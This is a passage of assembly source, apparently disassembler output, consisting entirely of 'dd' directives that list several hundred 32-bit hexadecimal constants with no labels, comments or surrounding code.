dd 0DC631F38h, 396938A1h, 82983E45h, 9507E3FAh, 0CC508734h
dd 7FCAA0CAh, 5AA97C54h, 7DFBB6F0h, 268D44D1h, 39309696h
dd 0C99DF7CEh, 4A0AAD0Ah, 96F9A365h, 4633EA40h, 2B5A12F3h
dd 826DFB5Bh, 4B86524Eh, 0CFA8F246h, 0CF95E7FCh, 0E796A1B5h
dd 0FE406230h, 312D8F99h, 46A96E7Ah, 0EB9D6E31h, 0A08045E8h
dd 51EFBE90h, 74777F88h, 135AAF90h, 55A0EF75h, 50AEA1EAh
dd 6830C3FFh, 0EFE0225Ah, 0C59CE35Ah, 65701E5Eh, 0D35B35C9h
dd 0A4069974h, 7CBAADAh, 0F16D4088h, 0C56BEB02h, 6FFB596Ah
dd 356CD16Ah, 0A67BE996h, 5B519EA5h, 0F63CCA2Ah, 0B1C4AB02h
dd 997A68BCh, 216BF1E0h, 940556B7h, 7BBE3907h, 7143CB03h
dd 0C7394B78h, 0EDB171FEh, 0C734E646h, 0DDF3478Eh, 0F7F1E4C9h
dd 5EBC4AEEh, 2EA4FE34h, 8306890h, 0C97DFE27h, 1CE9B678h
dd 0BE0668CEh, 0B1776E50h, 6377B068h, 0B6526401h, 0ACF71184h
dd 39B2B5FBh, 251BE749h, 702908D6h, 0EEF2F158h, 9D4387DBh
dd 2D75665Ch, 0D72BFB6h, 0A9B14880h, 2AC6D05Ah, 0C7DD186Ah
dd 0E998D289h, 0E6CDFDA1h, 0AD42656Ch, 51440E29h, 0B37FD50h
dd 87572B9Ah, 0A7F233F6h, 1E178D62h, 0BA3DFDFDh, 64822E7Fh
dd 744D5C49h, 8ED31DEDh, 4D0AF014h, 97B5532Ch, 53E373ADh
dd 0DF720E14h, 0B22AEF2Bh, 50F926C6h, 99D3ED37h, 2B0C23Ah
dd 43820375h, 46E32509h, 0DD4B8DDAh, 1240581Eh, 0B3B50457h
dd 52D5B427h, 6618C95Ch, 0C13CC207h, 91CFF84Ch, 60EDF154h
dd 9E98EC2Fh, 0A8A75ED9h, 5D08249h, 70C74F64h, 24D4BCFh
dd 0F715B28Ah, 1CA444A4h, 0D4221E2Ch, 0FB2C4A20h, 93F79E89h
dd 0ADC9F8C1h, 7A3CC5C8h, 95B2B285h, 658C9F5Eh, 343FC08Ch
dd 83C00048h, 0A90E89ECh, 459F7FB1h, 0C49C08E0h, 0AEF3CE0Dh
dd 2FC1664Bh, 16E5A0F7h, 4DBEE254h, 73C8C966h, 0B6A1FD00h
dd 36580626h, 644F123Ch, 81B07118h, 0C2D66A66h, 0A6999EE6h
dd 0B87C5786h, 8F2F3D36h, 587DD3A2h, 132023B4h, 76836542h
dd 0EEA5BE1Ch, 0DD4E3568h, 0C44E063Fh, 56B77F4Dh, 975DEB98h
dd 273128FDh, 5DB9A072h, 0C7AC73FAh, 0E625BB50h, 48CB7C02h
dd 42A3F4C9h, 0DFA7F55h, 34CB53EBh, 0E86492E7h, 37614587h
dd 25BC55F0h, 7FADE12Eh, 80F2CFDh, 45A259FFh, 0A962A5D9h
dd 0B2B62E9Bh, 1E1E86D3h, 5F4B93D0h, 5FC650E5h, 4A6C8D2Ch
dd 5A1983DBh, 73B52BFDh, 51268F89h, 0BF6B8515h, 0EF42D96Ah
dd 59035202h, 835F539h, 9CA43CD9h, 8DE91077h, 8B37CEB7h
dd 0A7D4B28Bh, 0A40F9B6Ah
dd 851646C2h, 3777809Dh, 8DA511B8h, 8F554513h, 0DD08EC0Bh
dd 0E045F6A2h, 87C41427h, 375B3Eh, 19B0E757h, 90B4376Dh
dd 0A7847CD7h, 4032871h, 5A8266F3h, 9A06919Ah, 34AB5799h
dd 0BE5FD6DBh, 0FBCE14E5h, 0D97355EDh, 0CBB2B5AEh, 0C68E089Dh
dd 0CF0E9B66h, 74C2CE77h, 92FFB1EBh, 0EA4622FDh, 9CE6D756h
dd 0AD41F62Ah, 53E886EEh, 0AB8ED360h, 5E99EE3Fh, 0E3231E7Eh
dd 6B8FD54h, 0B0292B10h, 643DAC41h, 0EF2C38F6h, 52AECA18h
dd 35EE80A0h, 33CBA439h, 0E765C0F5h, 5F13711Bh, 8E85CA6Ch
dd 72A4B61Ch, 5932C9ADh, 0F38A9E5Dh, 9A8C7FD6h, 0C4D0D574h
dd 19F0079Dh, 630BDC82h, 0CB8A02D7h, 0A7750146h, 17540940h
dd 5ECDF045h, 1D81E74Fh, 45CB4DDBh, 0B6AC95A9h, 45B26115h
dd 2E7F78C5h, 63BCF5C1h, 0A5F0DD44h, 0DEDA3D2Dh, 0BFE024E1h
dd 89D6AAB0h, 0F42C61D5h, 0D9D540E1h, 0D86AECAAh, 7BA7C0C0h
dd 907F1496h, 0B5C01312h, 0E03D9F8Bh, 78537B95h, 0F1058397h
dd 6C4957B4h, 551668C0h, 0B1500907h, 0CC9A1E96h, 1FB9A438h
dd 4966CCEDh, 1FDFEFC3h, 91646E54h, 0D334A56Ch, 0F0FBF546h
dd 35C9852Ch, 8FE24F1Fh, 0C4E5EA6Fh, 325A6804h, 4AA7E16Bh
dd 0F5E33492h, 49F9F771h, 89C44BFEh, 75E216BCh, 9578B987h
dd 4B736EE5h, 0EF432905h, 5CBD9D6Bh, 0D2DE1525h, 4189F2DFh
dd 4E25AA4Ch, 3CB5BB3Eh, 0B5C5E959h, 0D826255Eh, 27ACBD90h
dd 0A3CBA43Dh, 0D0204D9Eh, 94E1E796h, 311BC328h, 9096A659h
dd 3C5FC867h, 0DD24503h, 7E2B6C71h, 0C65E2FF9h, 0CBC5891Ah
dd 1006BACBh, 0E8DF595h, 0E29C484Eh, 0A5CAEF4Ah, 6A489861h
dd 0E20D1A2Ch, 5A1C7923h, 0D892033Dh, 0D6DE8090h, 0CBAFE9C5h
dd 126D2F87h, 3CC87AC0h, 73D1DD2Ch, 0D3D6E200h, 0F4229F89h
dd 0F7034BEEh, 0D926D10Dh, 0A83E98BDh, 0BE1DDB98h, 998BBF12h
dd 165501C0h, 0D8B1454Fh, 9F7EEBC6h, 746A30BBh, 32B9903Ch
dd 0C5703CCAh, 0D73C48DCh, 0EF0312Dh, 188EAC8Ah, 877AF6CEh
dd 0E3B3EA3Fh, 9630EA23h, 20AAECF4h, 2CB8E109h, 7B9ABD10h
dd 6F849EDBh, 0F003BA2Bh, 70499414h, 0BAE6B517h, 0EE6FB879h
dd 58083726h, 0E3B492F7h, 0A22C9Fh, 9E0AA68Ah, 0D0AAD58Ah
dd 1079D139h, 8D0EEA92h, 97F8EDBDh, 6707A21h, 2A320EEh
dd 3FD46CF7h, 0F7D5F2EDh, 0D950E232h, 0CD68EC8Fh, 5D486EB8h
dd 0CF792EFEh, 39169758h, 8A43CF71h, 0DFD2A7DCh, 0EDB2CC7Dh
dd 942A9EE7h, 0ECC6AF16h, 93BBE468h, 939FB183h, 0E839AAB0h
dd 0C8852576h, 0CB6149C5h, 0A3C45BAEh, 207C0C6Eh, 1E094DF9h
dd 2455BF79h, 0AE9642DCh, 0CA1BF3D8h, 0AFD1E75Dh, 32E1FFA2h
dd 0DA43FF62h, 56B30649h, 71329906h, 8EE63748h, 4C9BB2E0h
dd 0ACDA4619h, 2BB7E3Eh, 3B51B9CBh, 50791636h, 367A70B1h
dd 8D567E51h, 3D810891h, 261032D9h, 3D4D9139h, 0EF209195h
dd 8073F269h, 341EF24Ah, 77580AB0h, 0BEDF7DADh, 2069B495h
dd 95125E29h, 0BAAD67E7h, 0D72EB9E2h, 0B61FFDECh, 4C4709FEh
dd 63640C3Dh, 29A063DBh, 8D713507h, 3A3EA6Dh, 47BEF435h
dd 63D355F9h, 74CB1CADh, 72DC45CAh, 52BFB90Fh, 65F6C06Ch
dd 15B8069Bh, 0EE481140h, 67B02AAh, 0C44586F0h, 5BE1A1AFh
dd 0F5A974EBh, 0FDA3A89h, 9D212DC4h, 47BBBDCAh, 0AA5457E7h
dd 5B100690h, 0F2349BB7h, 0D7273AC4h, 0CD87371Dh, 5E6F1527h
dd 0E5C59C2Dh, 703C5864h, 3284A6C7h, 2EF55B0h, 0B70663A1h
dd 6921BEB8h, 0B201F158h, 846C3CCCh, 0FD909BB3h, 708D1025h
dd 0E34FDE10h, 5E1840D5h, 56A75736h, 0F440E549h, 0B07005C0h
dd 705F9949h, 112F2742h, 0AD213D47h, 0DAA864h, 0DCC8421Dh
dd 5864122Eh, 0F999C5CDh, 8F868EB5h, 0B97A57A1h, 42DFCE23h
dd 6881081Eh, 8FD7DCC4h, 0AFC88E4Ch, 0C214BEC3h, 0C05115Fh
dd 0C5287A61h, 6644276Dh, 6E8504C5h, 0EF34AC09h, 6CC4E165h
dd 756A9819h, 1469145Bh, 7F0D3DE4h, 4C88291Bh, 0D8962EE5h
dd 20A28513h, 76AB306Fh, 2FFE76ABh, 0A9CB3E3Fh, 0ECAB837Bh
dd 2D235760h, 0ED716F41h, 0DFA70154h, 9A93CF9Ch, 3DA20D0Dh
dd 0CEC4E99Bh, 582D80A7h, 1AC3AC5Fh, 0EF6F2D44h, 0D523E928h
dd 13A7028Ch, 8BA99951h, 3ECBB429h, 0F04BCA3Dh, 3937ADFCh
dd 89B184AEh, 1331A3D6h, 0D8A2C8AAh, 0BC4FE31Bh, 68AEEC67h
dd 0CF9C2A5Ch, 0E9C92D76h, 79F42196h, 0A7F0256Eh, 981CFAC4h
dd 0DBEAFB88h, 0F0960145h, 0EFEFD958h, 0B978F958h, 284E11D2h
dd 2FC100EDh, 0C07C11AAh, 0BC64ACh, 0D97DB52Ch, 73F4829Dh
dd 7438628h, 51686A54h, 63706E6Eh, 3511025h, 5361F5EEh
dd 0BC9E9FA0h, 14BE67FEh, 27A5650h, 0C97E141Dh, 0B42DE754h
dd 72C78AB1h, 6F41D7ADh, 481FB6CCh, 4F239D29h, 1D105F38h
dd 56B42772h, 7EE52BC4h, 0A24CEFCFh, 0EED9617Ah, 0AC97A78Dh
dd 6BD55F84h, 7B586967h, 0EF7A4B1Ch, 2CAC3852h, 474F73EBh
dd 7A03EB6Ah, 83AF4C11h, 4C864DAFh, 57A1738Ah, 781B53A9h
dd 91C3EDDAh, 4650AE25h, 756D4410h, 12C16F88h, 0FF6B387Ch
dd 0F98D88DAh, 3A53397Bh, 34D7A9C7h, 0C20F8BDFh, 9D5B7D31h
dd 0E8D56826h, 0A3CB4911h, 0D289142h, 95D30679h, 0F60A9FE5h
dd 0CEF03C5Ch, 0E953CEA7h, 0C43B594Fh, 113694EEh, 3C693EA4h
dd 0E1528183h, 0F3F0558Ah, 7D87A495h, 7E9C9AB8h, 21B1E038h
dd 9C6709D5h, 6B78AE37h, 220F98B4h, 13122F65h, 0D13FFC98h
dd 35511DC5h, 0F44D2649h, 385A7F2Ah, 89FE2CA3h, 0F2AADF54h
dd 7FF1174Fh, 96B9AAFh, 1512490h, 337BEB2Ch, 211F2FB4h
dd 0BB7C8E5Eh, 0EA8D3BD6h, 3E3535ABh, 0B88FE444h, 83FFA2D2h
dd 6E48D71Ah, 5BE37E4Bh, 14F35613h, 96E8EBF5h, 573CBFFFh
dd 36EEB444h, 53C37F5Fh, 176FE686h, 0D34D9870h, 1622DD07h
dd 27DEBDCBh, 99D15A4Ch, 0DBD72E2Ah, 0EFE27760h, 32E44ACFh
dd 0B7B8ADB6h, 85E4CCC2h, 470A23FEh, 774D57F6h, 0E5246FEAh
dd 3BFC58Eh, 9835549Bh, 91C3416Fh, 854EC5DFh, 0FAE29BD3h
dd 0AF7F200Bh, 1BC362D8h, 0D1E34DEDh, 8D2C4C1Ah, 652FE213h
dd 0C720F54Ah, 0D6A8B65Ah, 9ED8ED6Eh, 60B7E48Bh, 1E23EA7h
dd 15073657h, 39F8002Ch, 213C5F98h, 4BEBD564h, 4B04A641h
dd 0ECBE11C6h, 0ED7372C5h, 6E787EB9h, 7A85586Ch, 8F310044h
dd 3B8A2947h, 68A20500h, 3C93CCC3h, 0D133DF10h, 0BE3A5145h
dd 0B45D54D5h, 3CBDF83Fh, 104C435h, 0FA3FE51Bh, 0DFB212CCh
dd 44BC6A2h, 395BE68Eh, 0FCA46327h, 0C157D1B4h, 456DFFB6h
dd 8D84A9F8h, 0B1BC111Ch, 0A181073Fh, 56031F5Ah, 76BE0D9Bh
dd 889EFD12h, 10FD78ECh, 0E5087723h, 0D9605F7Ah, 0B130DBC4h
dd 0A32CECA5h, 99021D78h, 7C9D216Bh, 96EC8BA1h, 2ADBEDECh
dd 6FB987D8h, 5EC11A6Eh, 24615BA8h, 0FD43A8EFh, 7EB0DFCEh
dd 51846F6Eh, 0EA6A1A95h, 71C31E78h, 66A1B4C1h, 0DEBFE2FDh
dd 356140D8h, 0AA324714h, 54602A1Ch, 8B72F180h, 0C72F1787h
dd 0E0B7B73Eh, 0F17BCA94h, 4253D5E6h, 98EA1202h, 0DBDE4A93h
dd 31BB4926h, 88C7A886h, 0A7481C9Fh, 0CA5574B8h, 0C1AD446Dh
dd 0A93F15C4h, 5624BFDBh, 0B53CD564h, 0F32B3388h, 0F2BB557Bh
dd 3CA36016h, 11F4C084h, 0C4354F57h, 79383C41h, 10127FA3h
dd 0A8A0933Fh, 287E964Dh, 0C3DEB4EFh, 3F65C9D5h, 0E9F85DD5h
dd 927377Eh, 8C048158h, 0FA3B13F4h, 0B4E6C9h, 831DB2h
dd 528F6A75h, 83E10355h
dd 801502FBh, 717009DBh, 727AA2ABh, 2CBDA5Fh, 0B17EC7BAh
dd 0F80075CDh, 0DC452C58h, 0B89BFD40h, 0EE330898h, 0B6E70E6Eh
dd 473CDF9h, 3F6615Dh, 987DDB8Fh, 0B1B3E254h, 2E400FC8h
dd 14601E5Eh, 28E3C23Fh, 0E6BA7F90h, 1322DE2Ch, 61FB7060h
dd 4270AF17h, 0F74AA52Ch, 4E4EB4A6h, 0C6BCEA7Eh, 0BCBA6389h
dd 0E755B7D5h, 514EFC32h, 0EE95261Fh, 5AC09E3Dh, 6B76AFDFh
dd 8D46D269h, 4BA63D67h, 98793CB4h, 95A88C97h, 0D186611Fh
dd 95D20F3Eh, 0A7BEB59Ah, 57C348BCh, 0BB036DEDh, 66B6C574h
dd 0FB643257h, 7CFA4AABh, 1080B2Fh, 57AC60FFh, 0E793D565h
dd 8F965D04h, 7C5455BBh, 48F7AD85h, 67BF54CCh, 4CCD1BB8h
dd 8557F71Ah, 76009B4Bh, 0ED28545Bh, 0A5D0611Dh, 5CC886F9h
dd 0BC64E7E9h, 0BDC1D151h, 0A15B622Ah, 94716620h, 0F61A6CBCh
dd 91C5458Fh, 0F9984044h, 9D53F9D8h, 29931E35h, 0FA7DD688h
dd 0CCF2B480h, 0E90EA293h, 0C6353D94h, 0F5501B15h, 30D1AEB0h
dd 12480F08h, 4A178A20h, 0F587CB64h, 5D116B41h, 96D86BE4h
dd 5287C223h, 2C27E1BDh, 0C036FA86h, 6CDC6094h, 69878A7Ah
dd 0F94A4CA2h, 0ADC794EBh, 5E16FA7Eh, 2480CBA8h, 0FF54E0EFh
dd 93ACDC77h, 0C53754E5h, 16BBFBA3h, 5843692Eh, 0A93D670Ah
dd 0AC51805Fh, 63861CF3h, 0DF67E038h, 0D2B0BEF5h, 0FA370B6Fh
dd 5B2A802Dh, 0AF2CB6D2h, 9E2AFA69h, 0E54351B5h, 5D2A7336h
dd 0A60CB592h, 35AB493Ah, 0EE40B72h, 17CB415Eh, 0E0993440h
dd 0CEDDBEEEh, 20D6B581h, 9B115F97h, 0EFB7D524h, 56FE4062h
dd 0F6A505A1h, 0EE415B47h, 6AC284CEh, 33478568h, 0C4C4A68Dh
dd 7EB39EA7h, 17AECDD2h, 380F98E1h, 0D12AED42h, 5763C4D5h
dd 0FD6DDEDh, 0B7C86691h, 7841CAE9h, 0F5AED82Fh, 4D620918h
dd 8DA81C8Fh, 0BFD54488h, 2D643B96h, 31F4282h, 0B604B5CDh
dd 0D265E314h, 0A7877DABh, 0ABD573D5h, 2C016126h, 0A1AD92EEh
dd 8923B94Fh, 13300DEDh, 8D083EEEh, 49D8C73Ch, 2C5DDB2Bh
dd 25BB28C7h, 0EC57E2A2h, 0CE9BEAB1h, 45B6950Eh, 7DE6E867h
dd 1E35BACBh, 5099B5A8h, 5F1618D0h, 48FA9AFBh, 74B42592h
dd 33571970h, 9F347C82h, 0EB363E2h, 0E5CA2415h, 0FF8CCFh
dd 9A9EFD2Ch, 5E8EF820h, 970F4D65h, 0C17274F8h, 472F3B9Eh
dd 0A1B1BAABh, 5E6EF45Ah, 77241F28h, 0AAC2C713h, 0A6344B9Ah
dd 544B0C45h, 0AE9A363Ah, 19C68632h, 671B77Dh, 4F1E4A49h
dd 0C5384398h, 9204941Bh, 0FBFE126Dh, 7F77B270h, 0BE8952A6h
dd 0CE56CC59h, 6FF70A57h, 16D39521h, 6A224538h, 0A6651AEh
dd 0A573BC2Ch, 6BA16AD2h, 0A5449789h, 0C8B2FB58h, 23AA17D8h
dd 0B19DA9EBh, 0C9DC6062h, 0FAC7908Fh, 41A0FA1Ch, 0CFE9CC08h
dd 0D9C1CA0Eh, 9DEF8C16h, 3FC74208h, 15F05702h, 9D1D0A7h
dd 0EEB2785Ah, 18857705h, 5D250620h, 8DCADEE0h, 3FE0F5CBh
dd 0ECE973F8h, 6E18FE00h, 8A19A46Ch, 0F027157h, 29266C0Bh
dd 0B5DC3857h, 0F088EE29h, 6526DBD4h, 611329B9h, 0CE98876Eh
dd 86CD531Bh, 705F9F1Ch, 0F1418CEFh, 78E0AFD7h, 8F5DCF3h
dd 0B2877702h, 0FF2BB129h, 0B89C639Fh, 0AC9EAB33h, 3234EFE3h
dd 47EA9B8Dh, 0C2B20AA4h, 449FC25h, 4FEAF956h, 2FDCEC6Fh
dd 0DBA03FFFh, 0FAE2EEA8h, 0B6EB545Ah, 0A89BE27Dh, 0F4E3A39Bh
dd 0E989599h, 0ECCACDE4h, 7F8FB348h, 489A8C04h, 0A5F411E4h
dd 9EBCD5F4h, 0A04414ABh, 7A2209D9h, 0D95FC0A2h, 99F82D94h
dd 0DF8E14CEh, 1487CCEDh, 58E4CD00h, 3B46255Bh, 6E7291ADh
dd 0A57894F8h, 0AF5512F0h, 0EBA89469h, 0FAC8B847h, 696EE901h
dd 7B15D51Ah, 0F28B1B95h, 2E1A09Bh, 19DA4C86h, 58C9F90h
dd 0D366FB9Ch, 3F1F66D5h, 35F2BBDCh, 75C9D45Fh, 2302616Bh
dd 2CD98AD1h, 5B083506h, 0DCCAD293h, 0AA1CAC5Bh, 0D035085Dh
dd 21BB714Eh, 0F5432F81h, 3711DBAFh, 0A9089251h, 71D0C4D5h
dd 62B01F1h, 8BF61667h, 775CB6F7h, 71455298h, 0C05AAA7Dh
dd 534334F4h, 3315B164h, 3790101Bh, 7DBA1CF2h, 0DAB3A9F5h
dd 74F76B7Ah, 47F51621h, 4F1F3562h, 0EE6AE97Fh, 0DCE5D7F7h
dd 0C3B48AF3h, 8D1F48EBh, 0AF7EAD9Ch, 9BC33595h, 65272FF9h
dd 42246FD9h, 697AB9EFh, 0B240A797h, 23FBC08Eh, 0C90F3A63h
dd 21C05C4Dh, 0EF27D109h, 0B25926B3h, 607503Dh, 7A4CB408h
dd 1714DA49h, 0B391DAB3h, 0EA58AFC9h, 34ECAF88h, 6FA6516Ch
dd 0B5A408F8h, 0EAD8E059h, 0C87D7422h, 2FCB11AFh, 6C6A917Ch
dd 89CEFA9Dh, 7E452ADCh, 0AF4F2FD8h, 59F22D05h, 8C11363Fh
dd 3A77EF0Eh, 0B171D7h, 6CFE4268h, 501C97D8h, 9DEF2252h
dd 66977F08h, 55F3B054h, 89E56F3Bh, 0D7FF06F4h, 0A7B2E9D3h
dd 0AA837874h, 0D33CD92Dh, 7CE82B32h, 90762071h, 82F37B30h
dd 99B46B0Ah, 0ADE608A1h, 944965C0h, 0BC2D859Dh, 8A9620C5h
dd 5BFFCBD4h, 9A9851AEh, 7F174A1Bh, 8C8B6A66h, 6AF5CF8h
dd 0FBE1F0FFh, 79965F56h, 0CEFEF4F3h, 29E9FF06h, 0B38EBEA9h
dd 6E0207C8h, 50F99CDAh, 35605CECh, 6BBC8629h, 0AB3486D9h
dd 3A459E9Ah, 0FB2A16BAh, 0E335954Ch, 22B15F7Fh, 654473BCh
dd 0EB96C7F4h, 78DBBE1Eh, 86FBF647h, 198624Fh, 7B231422h
dd 8C1B4F33h, 0D8BBC557h, 831F15B7h, 375EE5F1h, 1A2C9E60h
dd 3F4F9E82h, 5D495549h, 63BCA72Ch, 30B99147h, 992E4CA4h
dd 66C9A549h, 0B09582AFh, 0D2AC7420h, 931AAC30h, 0C2524817h
dd 0F8F0C13Eh, 0EBD9DF2Dh, 0DEFE251h, 842B4D29h, 0AADAB0D4h
dd 763924E0h, 4D7C674h, 0D9DBD9BDh, 5420B317h, 0FFE3D2BCh
dd 80C0975h, 668C129Ch, 7A3D28D0h, 11CB88D9h, 0DEC6793Ch
dd 0D604524Fh, 38702E13h, 5ABD1C83h, 0ED70F229h, 36D1AE45h
dd 786B2BA6h, 0B0E86C9Ch, 0B4072222h, 0CAA7ECFBh, 0BFE35EDCh
dd 643E8Ah, 54CD1F1Bh, 0CD084FA9h, 1E979214h, 9099EC03h
dd 0F0745D5Dh, 71CA5A3Ch, 5E75891Fh, 721364A3h, 0EFF8DA68h
dd 2624F0B7h, 0D11B8BEDh, 47B137D2h, 0D2FF7951h, 6A04048h
dd 0F36B8833h, 6F8B5523h, 56A8F2BFh, 7BD26FF0h, 449AC1E4h
dd 64CBBFFAh, 0BEEC194h, 63F2B47h, 0ECFB01DAh, 74200A5h
dd 0BC7D27DEh, 4C6FFBEBh, 22612431h, 47AB397Bh, 0FF0456h
dd 5F3CCBAAh, 0BFAB611Fh, 0A8535847h, 0E5E4F8F5h, 0CFC4CCCEh
dd 6CBE6BA7h, 7A7B09F9h, 0AC3D9964h, 59504BE8h, 0EDBB3D10h
dd 176058D0h, 58AAA9A7h, 8C6EE6CEh, 0BF47DC4Dh, 5213C1FCh
dd 8B135987h, 9C039693h, 0D695D0E0h, 7E1EB301h, 6C3CC32Dh
dd 1483BC74h, 723B84D5h, 515C0EBFh, 7A45AA49h, 849C30A3h
dd 44A5F56Bh, 18F7CCC7h, 599F876Ch, 0DA9C2925h, 33E5CFC7h
dd 14C1391h, 55D61EE4h, 0C303E45Dh, 0C7318ED7h, 941AF948h
dd 38620ABFh, 85665FE5h, 0DEC0B99Dh, 924D952Fh, 0C3DD098h
dd 0B18195FEh, 0E97EF238h, 0FDD94BE7h, 0AF7D3A0Fh, 16CE3787h
dd 629EC0E0h, 0D44D9622h, 0E938C6C1h, 0F609F3EFh, 2B4A1DFFh
dd 44EC1F2Ah, 6FACF524h, 0C9509003h, 38A77856h, 21B96C1h
dd 4426F6DFh, 0BB56E20Dh, 898EFB5Fh, 73D8F5D6h, 7F57429Dh
dd 0CB7A9CC8h, 0B9D91B12h, 0C623DA1Fh, 0BD09598Ah, 5EA510C1h
dd 3098742Bh, 79263CFBh, 0B9437017h, 10D039B9h, 3DABCAFh
dd 0A7D4CC61h, 28BC6739h, 0D2CAE342h, 3635C1D5h, 0AEB2CD54h
dd 0F415E922h, 282B0FB7h, 79ACD5C4h, 2FA776Dh, 815BFA32h
dd 8C553813h, 0FB28B1ECh
dd 0F95B8B9h, 5304C820h, 68F21D8h, 0DF359CE5h, 98510445h
dd 0A58370BDh, 0D53CD9DFh, 0DE9C3365h, 105E49C7h, 0B0FDF84Fh
dd 0BF332181h, 2CCBAD29h, 0C58BFC3Fh, 0F8166905h, 78EFB7F8h
dd 3BD954Fh, 61092966h, 9719A10Bh, 69E36326h, 0B90D2491h
dd 0FA81A164h, 0FF7C71EAh, 4DC0D73Bh, 6A2A797Eh, 9AD4D56Dh
dd 43BAD362h, 53468603h, 15BAE14h, 8BA12B5Bh, 77E796E3h
dd 0DB44566Ch, 0A7F7F167h, 6BC35277h, 7C7BFC5h, 52DAF9DCh
dd 9C90D403h, 30DF47BFh, 0CF6A127Ch, 59E9AACFh, 96C89450h
dd 0B72DD6EBh, 0DB7AF76h, 267751D3h, 582C9874h, 763F80A0h
dd 278BDA5Ah, 0A6E810C3h, 2033424Ch, 0CE72C6ABh, 0ECCE90A8h
dd 571BB5AEh, 0D4A7471Bh, 2C2BD1F9h, 238BFD7Ch, 0D2BA9D40h
dd 4D686545h, 14863080h, 0CC2950E4h, 52118795h, 79AC805Ch
dd 0F7FB75B9h, 541680DCh, 4CE9CADh, 5B038B44h, 0B46B58E8h
dd 19950D74h, 0F843E891h, 2BE381Fh, 2A9DEEB8h, 4E01CDF8h
dd 7B04046Bh, 7D583B11h, 0C17CC948h, 0F456B29h, 4181FF35h
dd 8BE6138h, 0FEDC53A9h, 0F4243F7Fh, 13671225h, 0FE736E02h
dd 9D7241E0h, 4618F61Fh, 881AF562h, 51B7EFF8h, 9231E566h
dd 4839B895h, 4DC212B0h, 0E9C7BE75h, 261A6677h, 0E6285926h
dd 0ABC7835Fh, 0A259129Fh, 57A297B6h, 0D2B36690h, 71CAD3Fh
dd 1D25453h, 0B1DA3FAEh, 932BFA78h, 41479E5Ah, 542A8400h
dd 66400B4Eh, 0DD43C92Ah, 0D8AF2E59h, 0A7DA3A91h, 0B53F40AAh
dd 113B172Eh, 22B341A3h, 0A4894564h, 0DC0B9094h, 9EDC514Ah
dd 0E11892B6h, 65B6A49Ch, 7C5CE8ACh, 0BC79B523h, 12E20CADh
dd 0CC179DA7h, 2E73BDADh, 6ADCFF6Ch, 97DFD079h, 11603729h
dd 630A8E12h, 19EF60D1h, 0FDAC130h, 84CA6482h, 39BE12D3h
dd 0B856D4EBh, 1FA35CFDh, 1DEE31F6h, 0BE1EFC77h, 80798E36h
dd 6534115Fh, 0DF0E7D2Eh, 6B6A7878h, 0F4838DF8h, 3E045073h
dd 0A5DC0319h, 2AED1E3Ah, 43F8974Dh, 229C7359h, 951BA27h
dd 7E471087h, 898BA72Ah, 1EE7A4ACh, 36415BD6h, 0AC9B7EA9h
dd 76DC8CE7h, 0C64E4D82h, 3DCBD9EBh, 7865D16Ch, 7B80346Dh
dd 7542D7F3h, 0E892734Eh, 12AD7CA7h, 29C45D9Eh, 0EC4B35FFh
dd 0EC1E8001h, 4C5A9F5Ah, 0AB342308h, 3A4854ADh, 80277490h
dd 0E432BBEAh, 0A9C0FA78h, 321B2BD8h, 4E2A840Ch, 6A400B4Eh
dd 87F9C19Eh, 9B75BBD1h, 0E244AA14h, 0A61D5EAAh, 3EF5B426h
dd 0A709A9EBh, 0D1BA7631h, 22FB3B62h, 9E5C3FF8h, 81A15AA4h
dd 19E971AFh, 0B6998E52h, 6C098523h, 60DF4B79h, 6C98D1AEh
dd 0A7DAFC1Dh, 6A90D6D2h, 0D2696B2Dh, 15701455h, 0E4897959h
dd 3844B65Eh, 898524CCh, 14A755A1h, 25BE13DDh, 0A456D469h
dd 5322CE30h, 0D45D8833h, 0BB7EC09Eh, 2540FBBEh, 71C1DFA3h
dd 53426D2Eh, 0E581856Fh, 0B6AC0C3Fh, 40BED406h, 87631866h
dd 0BF960DAAh, 64D9976Ch, 0A1B06B3Ah, 63139BC8h, 7EF16484h
dd 4043EDF1h, 8B8637F5h, 0B436CE57h, 6A62FDE7h, 0DFDE9EDFh
dd 40299933h, 5B75BBA8h, 0F0DBB8EFh, 7D2BA077h, 0E4F78EBh
dd 0E9BCADFAh, 1EC67CD2h, 63BDDA8Ah, 5B01B0EAh, 654E862Ch
dd 9332241Bh, 0CA633914h, 8BB3A94Ah, 0C72E2649h, 2D660E5Fh
dd 0B2C77985h, 89F83848h, 88ED8853h, 3BCBB3E4h, 0DDEE8D97h
dd 0D3136BD0h, 3D4B87A6h, 0DE10B0EFh, 0BD6A8C5Dh, 0EC7F15AEh
dd 0BBD46731h, 0A5BA1214h, 0DA51598Bh, 5120108Ch, 0E4756763h
dd 7AA34147h, 0ACFDF35Fh, 16627945h, 44206327h, 41A65FADh
dd 0AC5A3B3Ah, 0C21D1B7Ah, 0C9368056h, 2C21C705h, 0B1AA1B44h
dd 0A9850C99h, 0FA2A9108h, 62BB9FD0h, 0E8569BB3h, 19DE9BFAh
dd 0E78D28B5h, 0BC684B25h, 70795EDBh, 324CD7ACh, 2ABD7252h
dd 0F8C48EBEh, 4420893Fh, 0CF49A65Eh, 96706EE7h, 0C786E750h
dd 9ABB6B6Ch, 89505AB5h, 9F13A7EBh, 68AD9B94h, 0DD3E2585h
dd 0CE4C67F9h, 0FEF930B4h, 0E9753C34h, 0F48A411Bh, 0CDBFF22Bh
dd 47608414h, 7A57F128h, 1B7D7592h, 84A741A5h, 62B8BB81h
dd 74908F74h, 86078129h, 53443545h, 657BB0FDh, 0DEB125E0h
dd 9705A3C3h, 724C214Dh, 0CC317EE7h, 640ECA0Ah, 9A2BFA69h
dd 91A7114Bh, 812A4075h, 0B6AD542Eh, 0ADAB8EEAh, 0DB676BD0h
dd 59C01FBAh, 0C6A48D2Bh, 93C6C99Ah, 6B8E1ED1h, 5EC898B0h
dd 0B7FAA11Fh, 1E96D2CEh, 519E5577h, 183C5094h, 0B2BB807Fh
dd 0ECE517A8h, 3FF97D31h, 0C7056360h, 4D248424h, 0F3130A0Eh
dd 0D269D581h, 0F8F370BEh, 0EB3A1D8Dh, 768EE821h, 8C6B4F2Ch
dd 0E621DAD7h, 8B27DB13h, 0E3135C2Dh, 111A7316h, 0D8A2C540h
dd 0BB97B4EAh, 0F9868050h, 0FD8456EFh, 0A2527D7Eh, 1B8105BDh
dd 0B2017160h, 25EAD7Ah, 46696ADFh, 58B08F90h, 0F1CC3EA0h
dd 0CC35D2C5h, 5123D217h, 43CB9A54h, 6F80EE4h, 0C6467F9h
dd 0BB1F9E1Fh, 0A4C47398h, 33A64AF7h, 2DFCBB6Ah, 5B888C14h
